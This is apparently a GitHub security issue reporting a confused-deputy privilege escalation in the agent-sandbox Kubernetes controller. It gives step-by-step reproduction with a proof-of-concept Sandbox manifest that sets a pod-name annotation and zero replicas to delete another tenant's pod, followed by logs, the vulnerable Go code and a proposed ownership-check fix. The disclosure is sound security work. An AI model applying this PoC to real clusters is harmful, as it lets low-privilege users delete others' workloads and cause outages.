Skip to content

Privilege Escalation in agent-sandbox controller via pod-name annotation leads to unauthorized Pod deletion #265

@b0b0haha

Description

@b0b0haha

Summary:

The agent-sandbox controller (SandboxReconciler) contains a critical privilege escalation vulnerability that allows an attacker with only Sandbox resource creation permissions to delete arbitrary Pods in the same namespace. The vulnerability exists in the reconcilePod() function at controllers/sandbox_controller.go:328-354, where the controller reads a Pod name from a user-controlled annotation (agents.x-k8s.io/pod-name) and deletes the referenced Pod without verifying ownership. This constitutes a "Confused Deputy" attack where the controller's elevated RBAC permissions are exploited to perform unauthorized operations.

Attack Vector: An attacker creates a Sandbox resource with a malicious annotation pointing to a victim Pod, then sets spec.replicas: 0 to trigger the deletion logic. The controller blindly trusts the annotation value and deletes the target Pod without checking ownerReferences or labels.

Impact:

  • Privilege escalation from Sandbox create permission to Pod delete permission
  • Denial of Service (DoS) attacks against critical workloads
  • Multi-tenant environment compromise
  • CVSS Score: 7.5 (High)

Kubernetes Version:

  • Kubernetes Version: v1.27.3
  • Distribution: kind (Kubernetes IN Docker)
  • Cluster Name: agent-sandbox

Component Version:

Asset: agent-sandbox controller (https://github.com/kubernetes-sigs/agent-sandbox)

Scope Clarification:
This is a kubernetes-sigs project that:

  1. Is part of the official Kubernetes ecosystem (SIG Apps)
  2. Manages core Kubernetes resources (Pods, Services, PVCs)
  3. Has elevated RBAC permissions in Kubernetes clusters
  4. The vulnerability allows privilege escalation affecting core Kubernetes Pods

Steps To Reproduce:

Prerequisites

  • Docker installed
  • kubectl installed
  • kind installed
  • Internet access to pull images

Step 1: Create kind Cluster

# Create a kind cluster
kind create cluster --name agent-sandbox

# Verify cluster is running
kubectl cluster-info --context kind-agent-sandbox

Expected Output:

Creating cluster "agent-sandbox" ...
 ✓ Ensuring node image (kindest/node:v1.27.3) 🖼
 ✓ Preparing nodes 📦
 ✓ Writing configuration 📜
 ✓ Starting control-plane 🕹️
 ✓ Installing CNI 🔌
 ✓ Installing StorageClass 💾
Set kubectl context to "kind-agent-sandbox"

Kubernetes control plane is running at https://127.0.0.1:xxxxx

Step 2: Deploy agent-sandbox Controller

# Set version
export VERSION="v0.1.0"

# Deploy agent-sandbox core components
kubectl apply -f https://github.com/kubernetes-sigs/agent-sandbox/releases/download/${VERSION}/manifest.yaml

# Wait for controller to be ready
kubectl wait --for=condition=ready pod -l app=agent-sandbox-controller -n agent-sandbox-system --timeout=120s

# Verify controller is running
kubectl get pods -n agent-sandbox-system

Expected Output:

namespace/agent-sandbox-system created
serviceaccount/agent-sandbox-controller created
clusterrolebinding.rbac.authorization.k8s.io/agent-sandbox-controller created
service/agent-sandbox-controller created
statefulset.apps/agent-sandbox-controller created
customresourcedefinition.apiextensions.k8s.io/sandboxes.agents.x-k8s.io created
clusterrole.rbac.authorization.k8s.io/agent-sandbox-controller created

NAME                         READY   STATUS    RESTARTS   AGE
agent-sandbox-controller-0   1/1     Running   0          25s

Step 3: Create Victim Pod (Target for Attack)

Create a file named victim-pod.yaml:

apiVersion: v1
kind: Pod
metadata:
  name: victim-pod
  namespace: default
  labels:
    app: victim
spec:
  containers:
  - name: nginx
    image: nginx:latest
    ports:
    - containerPort: 80

Apply the victim Pod:

# Create the victim Pod
kubectl apply -f victim-pod.yaml

# Wait for Pod to be running
kubectl wait --for=condition=ready pod/victim-pod --timeout=60s

# Verify Pod is running and record its state
kubectl get pod victim-pod -o wide

Actual Output from Verification:

pod/victim-pod created

NAME         READY   STATUS    RESTARTS   AGE   IP           NODE                          NOMINATED NODE   READINESS GATES
victim-pod   1/1     Running   0          26s   10.244.0.6   agent-sandbox-control-plane   <none>           <none>

Evidence: Save the Pod state before attack:

kubectl get pod victim-pod -o yaml > victim-pod-before-attack.yaml

Step 4: Create Malicious Sandbox (Exploit)

Create a file named poc-attacker-sandbox.yaml:

apiVersion: agents.x-k8s.io/v1alpha1
kind: Sandbox
metadata:
  name: attacker-sandbox
  namespace: default
  annotations:
    agents.x-k8s.io/pod-name: victim-pod  # Malicious annotation pointing to victim
spec:
  replicas: 0  # Triggers deletion logic
  podTemplate:
    spec:
      containers:
      - name: dummy
        image: busybox
        command: ["sh", "-c", "sleep 3600"]

Key Attack Elements:

  • annotations["agents.x-k8s.io/pod-name"]: victim-pod - Points to the victim Pod
  • spec.replicas: 0 - Triggers the controller's deletion logic

Apply the malicious Sandbox:

# Create the attacker Sandbox
kubectl apply -f poc-attacker-sandbox.yaml

# Wait a few seconds for controller to process
sleep 3

Actual Output from Verification:

sandbox.agents.x-k8s.io/attacker-sandbox created

Step 5: Verify Unauthorized Deletion

# Check if victim Pod still exists
kubectl get pod victim-pod

Actual Output from Verification (VULNERABILITY CONFIRMED):

Error from server (NotFound): pods "victim-pod" not found

Result: The victim Pod has been successfully deleted by the attacker who only had Sandbox creation permissions, not Pod deletion permissions.

Step 6: Examine Controller Logs (Evidence)

# View controller logs to see the deletion operation
kubectl logs -n agent-sandbox-system agent-sandbox-controller-0 --tail=20

Actual Controller Logs from Verification:

2026-01-09T14:58:49Z INFO Using tracked pod name from sandbox annotation
  {"controller": "sandbox", "controllerGroup": "agents.x-k8s.io",
   "controllerKind": "Sandbox", "Sandbox": {"name":"attacker-sandbox","namespace":"default"},
   "namespace": "default", "name": "attacker-sandbox",
   "reconcileID": "7668e11b-62b3-4edf-9ee0-0597bb4c0d01",
   "podName": "victim-pod"}

2026-01-09T14:58:49Z INFO Deleting Pod because .Spec.Replicas is 0
  {"controller": "sandbox", "controllerGroup": "agents.x-k8s.io",
   "controllerKind": "Sandbox", "Sandbox": {"name":"attacker-sandbox","namespace":"default"},
   "namespace": "default", "name": "attacker-sandbox",
   "reconcileID": "7668e11b-62b3-4edf-9ee0-0597bb4c0d01",
   "Pod.Namespace": "default", "Pod.Name": "victim-pod"}

2026-01-09T14:58:49Z INFO Removing pod name annotation from sandbox
  {"controller": "sandbox", "controllerGroup": "agents.x-k8s.io",
   "controllerKind": "Sandbox", "Sandbox": {"name":"attacker-sandbox","namespace":"default"},
   "namespace": "default", "name": "attacker-sandbox",
   "reconcileID": "7668e11b-62b3-4edf-9ee0-0597bb4c0d01",
   "Sandbox.Name": "attacker-sandbox"}

Analysis: The logs clearly show:

  1. Controller reads the malicious annotation: "podName": "victim-pod"
  2. Controller deletes the Pod: "Deleting Pod because .Spec.Replicas is 0"
  3. No ownership verification is performed

Supporting Material/References:

1. Vulnerable Source Code

File: controllers/sandbox_controller.go

Lines 324-354 (vulnerable code section):

// Determine the pod name to look up
podName := sandbox.Name
var trackedPodName string
var podNameAnnotationExists bool
// ❌ VULNERABILITY: Reads Pod name from user-controlled annotation
if trackedPodName, podNameAnnotationExists = sandbox.Annotations[SandboxPodNameAnnotation];
   podNameAnnotationExists && trackedPodName != "" {
    podName = trackedPodName  // Directly uses user-provided value
    log.Info("Using tracked pod name from sandbox annotation", "podName", podName)
}

pod := &corev1.Pod{}
err := r.Get(ctx, types.NamespacedName{Name: podName, Namespace: sandbox.Namespace}, pod)
if err != nil {
    if !k8serrors.IsNotFound(err) {
        log.Error(err, "Failed to get Pod")
        return nil, fmt.Errorf("Pod Get Failed: %w", err)
    }
    if podNameAnnotationExists {
        log.Error(err, "Pod not found")
        return nil, fmt.Errorf("Pod in Annotation Get Failed: %w", err)
    }
    pod = nil
}

// if replicas is 0, delete the pod if it exists
if *sandbox.Spec.Replicas == 0 {
    if pod != nil {
        if pod.ObjectMeta.DeletionTimestamp.IsZero() {
            log.Info("Deleting Pod because .Spec.Replicas is 0",
                     "Pod.Namespace", pod.Namespace, "Pod.Name", pod.Name)
            // ❌ VULNERABILITY: Deletes Pod without ownership verification
            if err := r.Delete(ctx, pod); err != nil {
                return nil, fmt.Errorf("failed to delete pod: %w", err)
            }
        }
    }
}

Root Cause:

  1. L328-330: Reads Pod name from sandbox.Annotations[SandboxPodNameAnnotation] which is user-controlled
  2. L334: Fetches the Pod using the user-provided name
  3. L352: Deletes the Pod without checking:
    • pod.metadata.ownerReferences (should point to the Sandbox)
    • pod.labels["agents.x-k8s.io/sandbox-name-hash"] (should match the Sandbox)
    • Any other ownership verification

2. RBAC Configuration Evidence

File: k8s/rbac.generated.yaml (Lines 7-20)

The controller has elevated permissions:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: agent-sandbox-controller
rules:
- apiGroups:
  - ""
  resources:
  - pods
  verbs:
  - create
  - delete      # ← Controller can delete Pods
  - get
  - list
  - patch
  - update
  - watch

This shows the controller has delete permission on Pods, which the attacker exploits.

3. Attack Flow Diagram

┌─────────────────┐
│   Attacker      │
│ (Low Privilege) │
└────────┬────────┘
         │
         │ 1. Create Sandbox with malicious annotation
         │    annotations["agents.x-k8s.io/pod-name"] = "victim-pod"
         │    spec.replicas = 0
         ▼
┌─────────────────────────┐
│  Sandbox Controller     │
│  (High Privilege)       │
│  - Has Pod delete perm  │
└────────┬────────────────┘
         │
         │ 2. Reads annotation (no validation)
         │ 3. Gets Pod "victim-pod"
         │ 4. Deletes Pod (no ownership check)
         ▼
┌─────────────────┐
│   Victim Pod    │
│   (Deleted!)    │
└─────────────────┘

4. Verification Environment Details

# Kubernetes cluster info
$ kubectl version --short
Client Version: v1.27.3
Kustomize Version: v5.0.1
Server Version: v1.27.3

# Node info
$ kubectl get nodes
NAME                          STATUS   ROLES           AGE   VERSION
agent-sandbox-control-plane   Ready    control-plane   15m   v1.27.3

# Controller deployment
$ kubectl get statefulset -n agent-sandbox-system
NAME                       READY   AGE
agent-sandbox-controller   1/1     10m

5. Impact Assessment

Security Impact:

  • Confidentiality: Low (primarily deletion/DoS)
  • Integrity: Medium (can disrupt workload state)
  • Availability: High (can delete critical Pods causing service outages)

Attack Scenarios:

  1. Multi-tenant DoS: Tenant A deletes Tenant B's Pods
  2. Critical service disruption: Delete monitoring, logging, or control plane components
  3. Privilege escalation: Escalate from Sandbox create to Pod delete permissions

Business Impact:

  • Service outages in production environments
  • Data loss if stateful Pods are deleted
  • Compliance violations in regulated industries
  • Loss of customer trust

6. Recommended Fix

Add ownership verification before deletion:

// if replicas is 0, delete the pod if it exists
if *sandbox.Spec.Replicas == 0 {
    if pod != nil {
        // ✅ FIX: Verify Pod ownership before deletion
        if !isPodOwnedBySandbox(pod, sandbox) {
            log.Error(nil, "Pod is not owned by this Sandbox, refusing to delete",
                     "Pod.Name", pod.Name, "Sandbox.Name", sandbox.Name)
            return nil, fmt.Errorf("pod %s is not owned by sandbox %s",
                                   pod.Name, sandbox.Name)
        }

        if pod.ObjectMeta.DeletionTimestamp.IsZero() {
            log.Info("Deleting Pod because .Spec.Replicas is 0",
                     "Pod.Namespace", pod.Namespace, "Pod.Name", pod.Name)
            if err := r.Delete(ctx, pod); err != nil {
                return nil, fmt.Errorf("failed to delete pod: %w", err)
            }
        }
    }
}

// Helper function to verify ownership
func isPodOwnedBySandbox(pod *corev1.Pod, sandbox *sandboxv1alpha1.Sandbox) bool {
    // Check ownerReferences
    for _, owner := range pod.OwnerReferences {
        if owner.UID == sandbox.UID {
            return true
        }
    }

    // Check label
    if pod.Labels != nil {
        expectedHash := computeSandboxHash(sandbox.Name)
        if pod.Labels[sandboxLabel] == expectedHash {
            return true
        }
    }

    return false
}

7. Additional References

  • CVE Classification: Privilege Escalation / Confused Deputy
  • CWE-863: Incorrect Authorization
  • OWASP: Broken Access Control (A01:2021)
  • Kubernetes Security: Controller RBAC Abuse

Metadata

Metadata

Assignees

No one assigned

    Labels

    help wantedDenotes an issue that needs help from a contributor. Must meet "help wanted" guidelines.kind/bugCategorizes issue or PR as related to a bug.priority/critical-urgentHighest priority. Must be actively worked on as someone's top priority right now.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions